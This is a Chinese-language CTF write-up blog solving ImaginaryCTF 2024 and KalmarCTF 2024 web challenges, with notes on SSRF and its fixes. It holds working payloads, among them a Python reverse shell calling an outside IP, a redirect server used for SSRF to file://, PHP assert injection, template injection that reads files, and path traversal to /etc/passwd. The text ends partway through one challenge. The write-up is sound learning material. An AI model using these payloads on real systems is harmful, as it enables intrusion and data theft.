这里实际可以利用的地方就是调用的URL api(文档指路：URL - Web API | MDN (mozilla.org)),破坏原本的url，将http://localhost:3000/修改为自定义的网址,发现fetch()是会跟随重定向的，再利用302重定向至http://localhost:3000/flag.txt

起一个简单的重定向服务

1
2
3

<?php
header("Location: http://localhost:3000/flag.txt")
?>

用法一：

这里有个比较特殊的用法就是

1
2

new URL("//foo.com", "https://example.com");
// => 'https://foo.com/'（见相对 URL）

即我们最终在

1
2
3
4
5

return fetch(new URL(url.pathname + url.search, 'http://localhost:3000/'), {
    method: req.method,
    headers: req.headers,
    body: req.body
})

url.pathname 要以//开头，尝试直接以//传入，发现是可行的

用法二：

1
2

new URL("http://www.example.com", "https://developer.mozilla.org");
// => 'http://www.example.com/'

使用这种方法，需要绕过http的固定格式

1

GET /urlpart HTTP/1.1

不能出现/，而且服务端不能报错，在discord上找到了这种方法

具体原理的话，需要看bun框架对url参数的处理方式

即最后的请求包为

可以看到url的pathname部分并没有/开头

journal-dist

(100 pts) - 518 solves by Eth007

Description

dear diary, there is no LFI in this app

附件：点击下载附件

源码比较短

1
2
3
4
5
6
7
8
9
10
11
12

if (isset($_GET['file'])) {
  $file = $_GET['file'];
  $filepath = './files/' . $file;

  assert("strpos('$file', '..') === false") or die("Invalid file!");

  if (file_exists($filepath)) {
    include($filepath);
  } else {
    echo 'File not found!';
  }
}

能导致漏洞的就是assert("strpos('$file', '..') === false")，由于采用字符串凭借，所以assert()函数(官方文档指路：PHP: assert - Manual)中执行的代码基本上是可控的

1
2
3
4

root@2419de65327b:/var/www/html# php -v
PHP 7.4.33 (cli) (built: Nov 15 2022 06:03:30) ( NTS )
Copyright (c) The PHP Group
Zend Engine v3.4.0, Copyright (c) Zend Technologies

经过测试发现，在此版本中确实被php代码执行，但由于strpos()有返回值了，所以需要在strpos()中进行拼接，最后playload

P2C

(100 pts) - 247 solves by FIREPONY57

Description

Welcome to Python 2 Color, the world’s best color picker from python code!

附件：点击下载附件

重点就是这个函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

def xec(code):
    code = code.strip()
    indented = "\n".join(["    " + line for line in code.strip().splitlines()])

    file = f"/tmp/uploads/code_{md5(code.encode()).hexdigest()}.py"
    with open(file, 'w') as f:
        f.write("def main():\n")
        f.write(indented)
        f.write("""\nfrom parse import rgb_parse
print(rgb_parse(main()))""")

    os.system(f"chmod 755 {file}")

    try:
        res = subprocess.run(["sudo", "-u", "user", "python3", file], capture_output=True, text=True, check=True, timeout=0.1)
        output = res.stdout
    except Exception as e:
        output = None

    os.remove(file)

    return output

简单来说就是根据输入的code，最后生成一个，如下格式的py文件

1
2
3
4

def main():
    #input code
from parse import rgb_parse
print(rgb_parse(main()))

rgb_parse()函数定义中parse.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14

def rgb_parse(inp=""):
   inp = str(inp)
   randomizer = random.randint(100, 1000)
   total = 0
   for n in inp:
      n = ord(n)
      total += n+random.randint(1, 10)
   rgb = total*randomizer*random.randint(100, 1000)
   rgb = str(rgb%1000000000)
   r = int(rgb[0:3]) + 29
   g = int(rgb[3:6]) + random.randint(10, 100)
   b = int(rgb[6:9]) + 49
   r, g, b = r%256, g%256, b%256
   return r, g, b

思路一： 反弹Shell

1

res = subprocess.run(["sudo", "-u", "user", "python3", file], capture_output=True, text=True, check=True, timeout=0.1)

最开始看到timeout=0.1还以为python与php一样，执行子进程的时间算作整体时间，0.1秒反弹出shell好像并没有啥用，实际上是可以反弹出shell，timeout=0.1对反弹shell并没有影响

去hacktools里生成一个python的反弹shell语句

1

python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("1.1.1.1",8077));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")'

贴上去

虽然页面会报500错误

成功反弹到shell

思路二： 利用urllib库

这个思路就是直接读取文件，然后因为系统命令行中没有curl命令使用，且没有requests库，但可以依靠原生的urllib库，将flag外带出来

虽然也500，但最终也是拿到了flag

思路三： 利用random.seed

这种是官方的WP中的解法，这里讲一下思路

链接指路：https://github.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/blob/main/Web/p2c/challenge/solve.py

random库在设置seed后，random.randint()范围确定时，生成的值为固定的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

import random

def main():
    random.seed(1)

if __name__ == "__main__":
    main()
    print(random.randint(100, 1000))
    
PS F:\CTF  File\imaginaryctf\p2c_release> 
237
PS F:\CTF  File\imaginaryctf\p2c_release> 
237
PS F:\CTF  File\imaginaryctf\p2c_release> 
237
PS F:\CTF  File\imaginaryctf\p2c_release> 
237
PS F:\CTF  File\imaginaryctf\p2c_release> 
237
PS F:\CTF  File\imaginaryctf\p2c_release> 
237

且函数中rgb_parse(inp="")的inp值为可控的，我们需要将其固定，此时我们可以控制random.seed()的值，每个不同值通过rgb_parse()，此时return的值不再是变化的而是一个固定的值

将random.seed()的值为flag字符的中的逐个字符，这样变量只有flag的每个字符，在本地根据return的rgb算法跑一边彩虹表，也就是官方题解中的

1

lookup = {rgb_parse(i, "aaa"):i for i in range(256)}

最终每个rgb根据彩虹表的映射关系，还原为原本的字符

服务端请求伪造（Server Side Request Forgery, SSRF）

攻击者构造形成以服务器的身份发送一条构造好的请求给服务器所在内网。因为请求是由服务端发起的，所以服务端能请求到与自身相连而与外网隔离的内部系统

危害

• 可以对服务器所在的内网环境进行端口扫描、资源访问
• 访问内部资源,如连接数据库等
• 若在云服务器可以利用云服务器元数据攻击云平台内其他组件或服务
• 利用Redis未授权访问getshell

场景

• XXE漏洞点
• 图片加载/下载：通过URL加载网络图片(头像上传等)
• 转码服务：适配手机屏幕大小并通过URL地址进行图片转码
• 分享功能：通过URL地址分享网页内容，通过URL获取目标页标题、页面、截图等内容
• 编辑器进行远程图片抓取
  • 如: ueditor(ueditor的远程图片抓取的地址一般在/ueditor/editor_config.js中的catcherUrl参数中)

​

利用

访问内网服务

伪协议利用

Redis利用

云主机

工具

Bypass

更改IP地址写法

解析到内网的域名

利用HTTP状态码跳转

协议替代

利用域名特殊字符标准化处理

利用IPv6

DNS Rebinding(DNS重绑定)

Fix

看到很多面试喜欢问这个，就顺手写一下

设置内网IP的黑名单，对于在黑名单内的IP，禁止访问

统一 IP 地址格式

过滤特殊字符，对URL规范化处理

禁止302跳转，设置不跟随跳转

对于域名来说，应先通过DNS解析IP，判断IP是否为内网黑名单中

检测协议，设置协议白名单，可以防止file://,gopher://,ftp:// 等协议引起的问题。

对DNS Rebinding(DNS重绑定)，考虑使用DNS缓存或者Host白名单

前言：

靶场链接：https://kalmarc.tf/challenges

难度太大了根本写不出来
参考大佬的题解最后复盘出来的

原文链接：https://ireland.re/posts/KalmarCTF_2024/

复盘题解

Ez ⛳ v2

题目描述

Caddy webserver is AWESOME, using a neat and compact syntax you can do a lot of powerful things, e.g. wanna know if your browser supports HTTP3? Or TLS1.3? etc

Caddy web服务器非常棒，使用简洁紧凑的语法可以做很多强大的事情，例如，想知道你的浏览器是否支持HTTP3？或者TLS1.3？等等。

Flag is located at GET /$(head -c 18 /dev/urandom | base64) go fetch it.

Flag 位于GET /$(head -c 18 /dev/urandom | base64)，去获取它吧。

附件：点击下载附件

解题思路

下载完打开附件包发现只有四个文件，Caddyfile、docker-compose.yml这两个中有比较有用的信息

docker-compose.yml中的关键信息

1
2
3
4
5
6

caddy:
  image: caddy:2.7.6-alpine
  volumes:
    - ./Caddyfile:/etc/caddy/Caddyfile:ro
    - ./flag:/wpqdDNHnYu8MZeclmpCr9Q:ro  # FILE WILL BE RENAMED TO SOMETHING SIMILAR RANDOM ON PROD
       # 文件将在生产环境中被重新命名为类似的随机名称

Caddyfile中为对Caddy的配置文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93

(sec_headers) {
    root * /
    header {
        Content-Security-Policy "default-src 'none'; frame-ancestors 'none'; base-uri 'none';"
        Strict-Transport-Security "max-age=31536000"
        X-XSS-Protection 0
        X-Content-Type-Options nosniff
        X-Frame-Options DENY
        Referrer-Policy "no-referrer"
    }
}

(html_reply) {
    import sec_headers
    header Content-Type text/html
    templates
    respond "<!DOCTYPE html><meta charset=utf-8><title>{http.request.host}</title><body>{args[0]}</body>"
}

(json_reply) {
    templates {
        # By default placeholders are not replaced for json
        mime application/json
    }
    header Content-Type application/json
    respond "{args[0]}"
}

(http_reply) {
    tls internal {
        alpn "{args[0]}"
    }
    map {args[0]} {proto_name} {
        http/1.1 HTTP/1.1
        h2 HTTP/2.0
        h3 HTTP/3.0
    }
    @correctALPN `{http.request.proto} == {proto_name}`
    respond @correctALPN "You are connected with {http.request.proto} ({tls_version}, {tls_cipher})."
    import html_reply "You are connected with {http.request.proto} instead of {proto_name} ({tls_version}, {tls_cipher}). <!-- Debug: {http.request.uuid}-->"
}

(tls_reply) {
    tls internal {
        protocols {args[0]} {args[1]}
    }
    header Access-Control-Allow-Origin "*"
    import json_reply {"tls_version":"{tls_version}","alpn":"{http.request.tls.proto}","sni":"{http.request.tls.server_name}","cipher_suite":"{http.request.tls.cipher_suite}"}
}

mtls.caddy.chal-kalmarc.tf {
    tls internal {
        client_auth {
            mode require
        }
    }
    templates
    import html_reply `You are connected with client-cert {http.request.tls.client.subject}`
}
tls.caddy.chal-kalmarc.tf {
    import tls_reply tls1.2 tls1.3
}
tls12.caddy.chal-kalmarc.tf {
    import tls_reply tls1.2 tls1.2
}
tls13.caddy.chal-kalmarc.tf {
    import tls_reply tls1.3 tls1.3
}
ua.caddy.chal-kalmarc.tf {
    tls internal
    templates
    import html_reply `User-Agent: {{.Req.Header.Get "User-Agent"}}`
}
http.caddy.chal-kalmarc.tf {
    tls internal
    templates
    import html_reply "You are connected with {http.request.proto} ({tls_version}, {tls_cipher})."
}
http1.caddy.chal-kalmarc.tf {
    import http_reply http/1.1
}
http2.caddy.chal-kalmarc.tf {
    import http_reply h2
}
http3.caddy.chal-kalmarc.tf {
    import http_reply h3
}

caddy.chal-kalmarc.tf {
    tls internal
    import html_reply `Hello! Wanna know you if your browser supports <a href="https://http1.caddy.chal-kalmarc.tf/">http/1.1</a>? <a href="https://http2.caddy.chal-kalmarc.tf/">http/2</a>? Or fancy for some <a href="https://http3.caddy.chal-kalmarc.tf/">http/3</a>?! Check your preference <a href="https://http.caddy.chal-kalmarc.tf/">here</a>.<br/>We also allow you to check <a href="https://tls12.caddy.chal-kalmarc.tf/">TLS/1.2</a>, <a href="https://tls13.caddy.chal-kalmarc.tf/">TLS/1.3</a>, <a href="https://tls.caddy.chal-kalmarc.tf/">TLS preference</a>, supports <a href="https://mtls.caddy.chal-kalmarc.tf/">mTLS</a>? Checkout your <a href="https://ua.caddy.chal-kalmarc.tf/">User-Agent</a>!<!-- At some point we might even implement a <a href="https://flag.caddy.chal-kalmarc.tf/">flag</a> endpoint! -->`
}

对于没用接触过的Caddy的我只能去官方文档看看其中的配置文件所代表的含义 查了下发现还有中文文档哈哈哈哈哈哈哈哈哈哈

链接：Caddy v2中文文档 (dengxiaolong.com)

不懂的就半查半猜，问问狗屁通，然后有个初步的理解:

Caddy中存在一个概念：片段

1
2
3

(指令名){
具体的指令内容
}

例如：

1
2
3
4
5
6

(html_reply) {
    import sec_headers
    header Content-Type text/html
    templates
    respond "<!DOCTYPE html><meta charset=utf-8><title>{http.request.host}</title><body>{args[0]}</body>"
}

片段类似于我们熟悉的概念：函数，可以在被调用

在任何你需要的地方重复使用它：

1

import 指令名

块

块由一对花括号完成的：

1
2
3

... {
...
}

花括号前写所服务的域名，花括号后填写对应的指令

此外在片段中有一个特别的指令：templates-模板，类似于python中的Jinja2模板引擎，进行实时渲染

对应的官方文档：Module http.handlers.templates - Caddy Documentation (caddyserver.com)

根据templates对应的语法规则（{{指令}}）尝试能不能和Python一样进行模板注入

由于修改UA（User-Agent）比较方便，所以我选择了ua.caddy.chal-kalmarc.tf，将UA修改为{{7*7}}发现服务端返回了500错误，发现这个思路应该是有戏，修改为{{.Host}}发现最后页面返回了User-Agent: ua.caddy.chal-kalmarc.tf，发现确实可以进行类似模板注入的操作，而官方文档中有两个可以让我们读到flag的指令

1.readFile

Reads and returns the contents of another file, as-is. Note that the contents are NOT escaped, so you should only read trusted files.
按原样读取并返回另一个文件的内容。请注意，内容不会被转义，因此您应该只读取受信任的文件。

1

{{readFile "path/to/file.html"}}

2.listFiles

Returns a list of the files in the given directory, which is relative to the template context’s file root.
返回给定目录中的文件列表，该列表相对于模板上下文的文件根目录。

1

{{listFiles "/mydir"}}

因此我们修改UA为{{listFiles "/"}}获得flag的文件名： CVGjuzCIVR99QNpJTLtBn9

然后再修改UA为{{readFile "/CVGjuzCIVR99QNpJTLtBn9"}}，最后成功获取flag：

kalmar{Y0_d4wg_I_h3rd_y0u_l1k3_templates_s0_I_put_4n_template_1n_y0ur_template_s0_y0u_c4n_readFile_wh1le_y0u_executeTemplate}

BadAss Server for Hypertext

强悍的超文本服务器

题目描述

I wrote my own HTTP server. I have to admit: the code is a bit cursed, but it works! So no problem, right?

我自己写了一个HTTP服务器。我必须承认：代码有点诡异，但是它能正常工作！所以没问题，对吗？

前置知识

• /proc目录以及子目录的功能及其作用
• shell语言
• 通配符

解题思路

这是一个黑盒测试，点击题目链接后发现就一个按钮可以交互

点击这个按钮，跳转到http://chal-kalmarc.tf:8080/assets/26c3f25922f71af3372ac65a75cd3b11/iceberg.jpg，没用任何信息。查看初始页面的源码发现被隐藏了另一个按钮

1
2
3

<!-- <a href="assets/f200d055a267ae56160198e0fcb47e5f/try_harder.txt">
<button>Get the flag</button>
</a> -->

再次点进去，发现就一句话：Did you think it was this easy? Nah, this isn't the flag.

也没什么实际的价值点（其实后面这两个东东会被利用到），然后就是无头无脑的不断尝试了robots.txt、抓包再发包

这个过程中发现了一个比较有趣的，响应头中存在这样一个键值：X-Powered-By: Bash，shell语言做后端？？

发现随便输入一个内容到url后如果不存在会输出为：cat: /app/static/1: No such file or directory，可以大胆推测后端为shell语言了

然后我就开始怀疑是不是有目录创越的漏洞存在了，拦截请求包转到BP进行改包（浏览器的url中直接输入..会被删除，而并不会直接传会后端）将url修改为/../../../../../etc/passwd,返回包中出现了passwd中对应的内容

逻辑漏洞1：

发现目录穿越漏洞确实存在，可以尝试直接读一下/flag发现根目录下不存在flag文件，那就只能进/proc目录找找对应的进程和运行目录了，一般读取1进程（一般赛题docker中最初的线程号为1）和self进程（当前指令所属的进程），一通乱尝试cmdline、environ、status等等发现了一些有用的东西

在/../../../../../proc/1/cmdline尝试读取后端的运行程序

1
2
3
4
5
6
7

HTTP/1.0 200 OK
Content-Type: inode/x-empty
X-Powered-By: Bash
Content-Length: 0
Connection: close

socat TCP4-LISTEN:8080,reuseaddr,fork EXEC:/app/badass_server.sh

此时我们可以找到我们的后端所属的脚本文件，我们再将它读取出来，尝试看看源码中是否存在漏洞。读取到的源码为：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122

#!/bin/bash

# I hope there are no bugs in this source code...

set -e

declare -A request_headers
declare -A response_headers
declare method
declare uri
declare protocol
declare request_body
declare status="200 OK"

abort() {
declare -gA response_headers
status="400 Bad Request"
write_headers
if [ ! -z ${1+x} ]; then
>&2 echo "Request aborted: $1"
echo -en $1
fi
exit 1
}

write_headers() {
response_headers['Connection']='close'
response_headers['X-Powered-By']='Bash'

echo -en "HTTP/1.0 $status\r\n"

for key in "${!response_headers[@]}"; do
echo -en "${key}: ${response_headers[$key]}\r\n"
done

echo -en '\r\n'

>&2 echo "$(date -u +'%Y-%m-%dT%H:%M:%SZ') $SOCAT_PEERADDR $method $uri $protocol -> $status"
}

receive_request() {
read -d $'\n' -a request_line

if [ ${#request_line[@]} != 3 ]; then
abort "Invalid request line"
fi

method=${request_line[0]}

uri=${request_line[1]}

protocol=$(echo -n "${request_line[2]}" | sed 's/^\s*//g' | sed 's/\s*$//g')

if [[ ! $method =~ ^(GET|HEAD)$ ]]; then
abort "Invalid request method"
fi

if [[ ! $uri =~ ^/ ]]; then
abort 'Invalid URI'
fi

if [ $protocol != 'HTTP/1.0' ] && [ $protocol != 'HTTP/1.1' ]; then
abort 'Invalid protocol'
fi

while read -d $'\n' header; do
stripped_header=$(echo -n "$header" | sed 's/^\s*//g' | sed 's/\s*$//g')

if [ -z "$stripped_header" ]; then
break;
fi

header_name=$(echo -n "$header" | cut -d ':' -f 1 | sed 's/^\s*//g' | sed 's/\s*$//g' | tr '[:upper:]' '[:lower:]');
header_value=$(echo -n "$header" | cut -d ':' -f 2- | sed 's/^\s*//g' | sed 's/\s*$//g');

if [ -z "$header_name" ] || [[ "$header_name" =~ [[:space:]] ]]; then
abort "Invalid header name";
fi

# If header already exists, add value to comma separated list
if [[ -v request_headers[$header_name] ]]; then
request_headers[$header_name]="${request_headers[$header_name]}, $header_value"
else
request_headers[$header_name]="$header_value"
fi
done

body_length=${request_headers["content-length"]:-0}

if [[ ! $body_length =~ ^[0-9]+$ ]]; then
abort "Invalid Content-Length"
fi

read -N $body_length request_body
}

handle_request() {
# Default: serve from static directory
path="/app/static$uri"
path_last_character=$(echo -n "$path" | tail -c 1)

if [ "$path_last_character" == '/' ]; then
path="${path}index.html"
fi

if ! cat "$path" > /dev/null; then
status="404 Not Found"
else
mime_type=$(file --mime-type -b "$path")
file_size=$(stat --printf="%s" "$path")

response_headers["Content-Type"]="$mime_type"
response_headers["Content-Length"]="$file_size"
fi

write_headers

cat "$path" 2>&1
}

receive_request
handle_request

由于是shell语言这里我想到了一些shell中的一些骚操作例如：

1
2
3

${变量名}  #会将变量的值进行拓展出来
$(命令)  #会执行（）中的命令
`命令`  #会执行` `中的命令

1
2
3
4
5

$ echo {a,b,c}
a b c

$ echo file{1..3}.txt
file1.txt file2.txt file3.txt

1
2
3
4
5

$ echo ~
/home/username

$ echo ~/Documents
/home/username/Documents

1
2
3
4
5
6
7
8

$ echo $HOME
/home/username

$ echo $((2 + 2))
4

$ echo $(ls)
file1.txt file2.txt file3.txt

1
2
3
4
5
6
7

$ string="Hello World"
$ echo $string
Hello World

$ for word in $string; do echo $word; done
Hello
World

1
2
3
4

$ ls *.txt
file1.txt file2.txt file3.txt

$ rm file?.txt

1
2
3
4
5
6
7
8
9
10
11

#test1
path='*'
path_after="./*"
echo $path_after #变量替换后，最外层也无""的影响，此时通配符*可被展开
#输出结果：./badass_server.sh ./character1.sh ./character2.sh

#test2
path='*'
path_after="./$path"
echo ”$path_after“ #变量替换后，最外层存在""的影响，通配符无法展开
#输出结果： ./*

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

#test1
path='$(date)'
path_after="./$path"
echo $path_after
path_after_after=$path_after
echo $path_after_after
# 输出结果：
# ./$(date)
# ./$(date)

#test2
data= date
echo $data
path='${data}'
path_after="./$path"
echo $path_after
path_after_after=$path_after
echo $path_after_after
# 输出结果：
# Sun Mar 24 21:29:51     2024
# ./${data}
# ./${data}

但经过尝试，发现无法通过控制$path这个值变为${}使最后的cat返回命令替换的结果

预想结果（可以通过cat的报错获取信息，如果这种办法可行剩下的只是空格的绕过）：

1
2
3
4

root@ubuntu:/home/ubuntu/Desktop# url=$(ls)
root@ubuntu:/home/ubuntu/Desktop# path="app/static/$url"
root@ubuntu:/home/ubuntu/Desktop# cat "$path"
cat: 'app/static/1.sh'$'\n''2': 没有那个文件或目录

实际结果

1
2
3
4
5
6
7
8
9
10
11
12
13

#test1
read -d $'\n' -a request_line
method=${request_line[0]}
echo $method
#输入：$(ls) $(ls) $(ls)
#输出：$(ls)


#test2
request_line=("$(ls)" "$(ls)")
method=${request_line[0]}
echo $method
#输出：badass_server.sh bash.md

此时发现我们可控点只剩下$protocol变量

1
2
3
4

protocol=$(echo -n "${request_line[2]}" | sed 's/^\s*//g' | sed 's/\s*$//g') 
if [ $protocol != 'HTTP/1.0' ] && [ $protocol != 'HTTP/1.1' ]; then
abort 'Invalid protocol'
fi

逻辑漏洞2：

可控原因：$protocol变量由于使用echo命令，是得read读取后的特性消失，使得$protocol可被拓展

当我们尝试修改HTTP/1.1为/*时，发现并没有出现Invalid protocol

逻辑漏洞3：

将HTTP/1.1替换为/*时，由于通配符展开，最后会出现进行匹配错误，[]返回大于1的结果，&&的两侧结果都是大于0，返回1，因此认为是假，此时这个if条件被判定为假，可以继续执行后面内容的代码

但如果/*匹配到的结果只有一个时，并不会造成匹配错误，而直接返回0，&&的任意一侧结果为0会直接返回0，此时这个if条件被判定为真

启动set -x时的详细信息如下

1
2

+ '[' badass_server.sh bash.md character1.sh character2.sh file '!=' HTTP/1.0 ']'
./badass_server.sh: line 63: [: too many arguments

注意：此时通配符展开并不能认为这个变量是数组，数组直接使用会利用数组第0个进行匹配，而通配符展开会报错

因此我们可以通过这个点，使用glob通配符[]写入一个已知的字符，不断修改字符，使其最后能匹配到的结果最后有1个以上，页面不出现：Invalid protocol，进行对目录或者文件名的一步一步匹配（用这种方法可以确定名称比已知目录少的目录名）

最初的页面给出了两个目录，需要利用这两个目录，选择一个目录作为已知字符

1
2
3
4
5
6

<a href="assets/26c3f25922f71af3372ac65a75cd3b11/iceberg.jpg">
<button>Explore the iceberg</button>
</a>
<!-- <a href="assets/f200d055a267ae56160198e0fcb47e5f/try_harder.txt">
<button>Get the flag</button>
</a> -->

以26c3f25922f71af3372ac65a75cd3b11作为已知字符为例，所以最后的playload的过程为：

1
2
3
4

GET /../../../../../../etc/passwd /app/static/assets/[29]*
GET /../../../../../../etc/passwd /app/static/assets/[29][6d]*
GET /../../../../../../etc/passwd /app/static/assets/[29][6d][cf]*
........

最后找到隐藏的目录， 9df5256fe48859c91122cb92964dbd66

估计最后是猜的吧，flag最后的位置是：/app/static/assets/9df5256fe48859c91122cb92964dbd66/flag.txt

修改url为../../../../../app/static/assets/9df5256fe48859c91122cb92964dbd66/flag.txt读出kalmar{17b29adf_bash_web_server_was_a_mistake_374add33}

Is It Down

它是否宕机

题目描述

In an increasingly online world it is nice to know, if you are the only one being offline or if everybody else are having offline too.

在一个日益在线化的世界中，了解自己是唯一离线还是其他人也处于离线状态是很重要的。

We present to you: Is it down!

我们向您介绍：它是否宕机！

Rumour has it, that a flag is stored somewhere on this server.

有传言称，一个标志位被存储在这台服务器的某个地方。

前置知识

• /proc目录以及子目录的功能及其作用
• Python语言及特性
• __pycache__文件夹

解题思路

同样的这也是一个黑盒测试，看了看页面发现并没有什么提示，可以根据自己的输入的网址进行判断，网址是否在线或者离线

直接抓包然后repeat看看

会发现页面出现了我们输入网页的源代码，相关的漏洞应该就是SSRF

尝试直接使用file:///etc/passwd试试看，发现页面回显出了

1

{"error":"Url must start with 'https://'. We do not want anything insecure here!","success":false}

发现只能使用https://开头的链接（是我应该就在这卡住了）

根据大佬的思路，我们可以尝试一个发生重定向的网址， 无语啦 。。。。。。。。好麻烦，还得自己起个https服务

根据实际的测试发现：

• 如果输入的链接网页存在任何内容，不会跟随着网页重定向
• 如果输入的链接网页不存在任何内容，此时会跟随着网页重定向

例如：

我们输入网址的响应包为：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

HTTP/1.1 301 Moved Permanently
Server: nginx
Date: Sun, 24 Mar 2024 15:00:50 GMT
Content-Type: text/html
Content-Length: 162
Connection: close
Location: https://t.doruo.cn/14Qqfhjr2

<html>
<head><title>301 Moved Permanently</title></head>
<body>
<center><h1>301 Moved Permanently</h1></center>
<hr><center>nginx</center>
</body>
</html>

此时，不跟随重定向，返回的内容为

1

{"content":"<html>\\r\\n<head><title>301 Moved Permanently</title></head>\\r\\n<body bgcolor=\"white\">\\r\\n<center><h1>301 Moved Permanently</h1></center>\\r\\n<hr><center>openresty</center>\\r\\n</body>\\r\\n</html>\\r\\n","online":true,"success":true}

我们自己起一个后端服务，为了随时更改重定向内容，我们可以设置代码为以下

1
2
3

<?php
error_reporting(0);
header("Location: ".$_GET['wells']);

此时我们使用这个服务，并输入参数?wells=file:///etc/passwd,发现页面返回出来了passwd的文件内容

1

{"content":"root:x:0:0:root:/root:/bin/ash\\n.........","online":true,"success":true}

此时再次利用/proc目录进行尝试找到后端服务的文件夹位置以及所对应的运行程序

在/proc/1/cmdline尝试读取后端的运行程序的相关信息uwsgi\\x00--ini\\x00/etc/uwsgi/uwsgi-custom.ini\\x00，可以猜到此时的后端应该是flask，然后再顺藤摸瓜进入到/etc/uwsgi/uwsgi-custom.ini读取配置信息：（美化后）

1
2
3
4
5
6
7
8
9
10
11
12

[uwsgi]
uid = www-data
gid = www-data
master = true
processes = 4
http-socket = 0.0.0.0:5000
chmod-sock = 664
vacuum = true
die-on-term = true
wsgi-file = /var/www/keep-dreaming-sonny-boy/app.py
callable = app
pythonpath = /usr/local/lib/python3.11/site-packages

比较重要的信息是：wsgi-file = /var/www/keep-dreaming-sonny-boy/app.py，然后继续顺藤摸瓜找到对应的后端文件读出出来，因为经过了json的转化，变得无敌难看，让狗屁通美化一下最后得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57

from flask import Flask, request, send_from_directory, session, abort
from requestlib import fetch
from config import session_encryption_key
import subprocess, os

def protect_secrets():
    os.unlink("config.py")

def check_url(url):
    if not isinstance(url, str) or len(url) == 0:
        return False, "Please provide a regular url!"

    if not url.startswith("https://") or url.lstrip() != url:
        return False, "Url must start with 'https://'. We do not want anything insecure here!"

    return True, ""

app = Flask(__name__, static_folder='static', static_url_path='/assets/')
app.secret_key = session_encryption_key

print("Using key: ", app.secret_key)

protect_secrets()

@app.route('/', methods=['GET'])
def home():
    return send_from_directory('pages', 'index.html')

@app.route('/flag', methods=['GET'])
def healthcheck():
    if session.get("admin") == True: #
        return subprocess.check_output("/readflag")
    else:
        return abort(403)

@app.route('/check', methods=['POST'])
def check():
    url = request.form.get("url")
    valid, err = check_url(url)

    if not valid:
        return {
            'success': False,
            'error': err
        }

    if True:
        content = fetch(url)
        return {
            'success': True,
            'online': content != None,
            'content': content
        }

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=10600, debug=False)

但是这里面requestlib库文件是我们安装不了的，尝试直接读取一下requestlib.py查看是不是自己写的库，同样的也是读到了这个文件，经过美化后如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

from urllib.request import urlopen, HTTPErrorProcessor, build_opener, Request
import urllib

class NoRedirection(HTTPErrorProcessor):
    def http_response(self, request, response):
        return response

    https_response = http_response

install_opener(build_opener(NoRedirection()))

def fetch(url, follow_redirects=True):
    '''
    Avoid endless redirect loops
    '''
    headers = {
        "User-Agent": "requestlib 2.9-alpha"
    }
    req = Request(url, headers=headers)
    with urlopen(req) as res:
        redirect_url = res.headers.get("Location"))
        if redirect_url and follow_redirects:
            return fetch(redirect_url, follow_redirects=False)

        return str(res.read())[2:-1]

漏洞成因

在定义的fetch函数中follow_redirects值默认为True，并且跟随响应包中的Location键值进行判断是否存在重定向，重定向的目标是何。但由于只限制了第一次输入的网址为https://,并未进行对重定向的协议进行检查从而造成了SSRF

做到这里，关键其实是为造出一个session，其键值存在admin: True,但存有session_encryption_key的config.py再被调用后就被删除了,需要找到如何复原的办法

1
2
3
4
5
6

@app.route('/flag', methods=['GET'])
def healthcheck():
    if session.get("admin") == True: #
        return subprocess.check_output("/readflag")
    else:
        return abort(403)

__pycache__文件夹

在Python工作目录下，如果执行某文件后经常会自动生成一个__pycache__文件夹。__pycache__文件夹正是缓存*.pyc地方。*.pyc文件的命名格式是<module>.<interpreter_version>.pyc。注意，对于被导入（import）的module才会生成对应的*.pyc文件

详细文档可参考：

【Python】__pycache__文件夹是什么东西？ - 知乎 (zhihu.com)

pyhton中__pycache__文件夹的产生与作用_pycache文件夹下的东西是如何产生的-CSDN博客

例子：

以被导入的为config.py文件为例，最后生成在__pycache__文件夹config.cpython-35.pyc，最开始的config为被导入的文件名，cpython代表的是c语言实现的Python解释器，-35代表的是版本为3.5版。

因此，我们可以在__pycache__文件夹中找到config的.pyc文件，再进行逆向

最后测试到路径为：/var/www/keep-dreaming-sonny-boy/__pycache__/config.cpython-311.pyc，里面的内容为：

1

